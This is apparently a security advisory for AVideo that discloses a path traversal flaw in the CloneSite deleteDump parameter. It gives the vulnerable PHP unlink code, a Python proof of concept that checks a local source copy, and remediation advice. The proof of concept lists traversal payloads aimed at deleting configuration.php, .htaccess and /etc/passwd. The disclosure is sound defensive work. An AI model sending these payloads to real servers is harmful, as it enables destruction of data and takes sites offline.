Incomplete fix for CVE-2026-33293: Path Traversal in AVideo

Moderate **DanielnetoDotCom** published **GHSA-5879-4fmr-xwf2** last week

Software

AVideo

Affected versions

< commit 941decd6d19e

Patched versions

>= commit 941decd6d19e

Description

Summary

The incomplete fix for AVideo's CloneSite `deleteDump` parameter does not apply path traversal filtering, allowing `unlink()` of arbitrary files via `../../` sequences in the GET parameter.

Affected Package

- **Ecosystem:** Other
- **Package:** AVideo
- **Affected versions:** < commit `941decd`
- **Patched versions:** >= commit `941decd`

Severity

Medium

CWE

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Details

At line 44-48 of `cloneServer.json.php` (pre-fix):

```
if (!empty($_GET['deleteDump'])) {
    $resp->error = !unlink("{$clonesDir}{$_GET['deleteDump']}");
    $resp->msg = "Delete Dump {$_GET['deleteDump']}";
    die(json_encode($resp));
}
```

No `basename()`, no `realpath()` check, no path traversal filtering. `$_GET['deleteDump']` is concatenated directly with `$clonesDir`.

The vulnerable code has zero protection against path traversal:

- No `basename()` to strip directory components
- No `realpath()` to validate the final path
- No check that resolved path is within `$clonesDir`
- No `../` sanitization
- Additionally, `exec()` calls with `mysqldump` pass credentials on the command line

PoC

```
"""
CVE-2026-33293 - AVideo CloneSite Path Traversal
"""

import sys
import os

VULN_SRC = os.path.join(os.path.dirname(__file__), "src", "cloneServer.json.php")

def verify_source_file():
    if not os.path.isfile(VULN_SRC):
        print("ERROR: Source not found at %s" % VULN_SRC)
        sys.exit(1)
    with open(VULN_SRC, "r") as f:
        src = f.read()
    if "unlink(" not in src or "deleteDump" not in src:
        print("ERROR: Expected patterns not found")
        sys.exit(1)
    return src

def vulnerable_delete_path(clones_dir, delete_dump):
    return clones_dir + delete_dump

def test_path_traversal():
    clones_dir = "/var/www/html/AVideo/videos/clones/"
    payloads = [
        ("../../configuration.php", "Delete site configuration"),
        ("../../../etc/passwd", "Delete system file"),
        ("../../.htaccess", "Delete .htaccess"),
    ]
```

```
    print("Testing path traversal via deleteDump parameter:")
    print("Base clones_dir: %s" % clones_dir)
    print()

    all_traversal = True
    for payload, desc in payloads:
        resolved = vulnerable_delete_path(clones_dir, payload)
        real_resolved = os.path.normpath(resolved)
        escaped = not real_resolved.startswith(os.path.normpath(clones_dir))

        if escaped:
            print("[+] TRAVERSAL: %s" % desc)
            print("    Payload: deleteDump=%s" % payload)
            print("    unlink() target: %s" % resolved)
            print("    Normalized: %s" % real_resolved)
        else:
            all_traversal = False

    return all_traversal

def main():
    print("=" * 70)
    print("CVE-2026-33293: AVideo CloneSite Path Traversal PoC")
    print("=" * 70)
    print()

    src = verify_source_file()
    print("[+] Source file verified: %s" % VULN_SRC)

    for line in src.split('\n'):
        if 'unlink(' in line and 'deleteDump' in line:
            print("[+] Vulnerable line: %s" % line.strip())
            break
    print()

    if test_path_traversal():
        print("\nVULNERABILITY CONFIRMED")
        sys.exit(0)
    else:
        print("\nVULNERABILITY NOT CONFIRMED")
        sys.exit(1)

if __name__ == "__main__":
    main()
```

```
python3 poc.py
```

Steps to reproduce:

1. `git clone https://github.com/WWBN/AVideo /tmp/AVideo_test`
2. `cd /tmp/AVideo_test && git checkout 941decd6d19e2e694acb75e86317d10fbb560284~1`
3. `python3 poc.py`

Expected output:

```
VULNERABILITY CONFIRMED
The deleteDump parameter passes unsanitized path traversal sequences (../../)
directly to unlink(), enabling arbitrary file deletion.
```

Impact

An attacker can delete arbitrary files on the server. Deleting `configuration.php` takes the site offline. Deleting `.htaccess` exposes protected directories. Deleting system files can affect other services.

Suggested Remediation

Use `basename($_GET['deleteDump'])` to strip directory components. Validate that `realpath()` of the final path is within `$clonesDir`. Validate file extension. Add authentication checks.

References

- Incomplete fix commit: `941decd`
- Original CVE: CVE-2026-33293

Severity

Moderate

CVE ID

CVE-2026-41058

Weaknesses

▶ CWE-22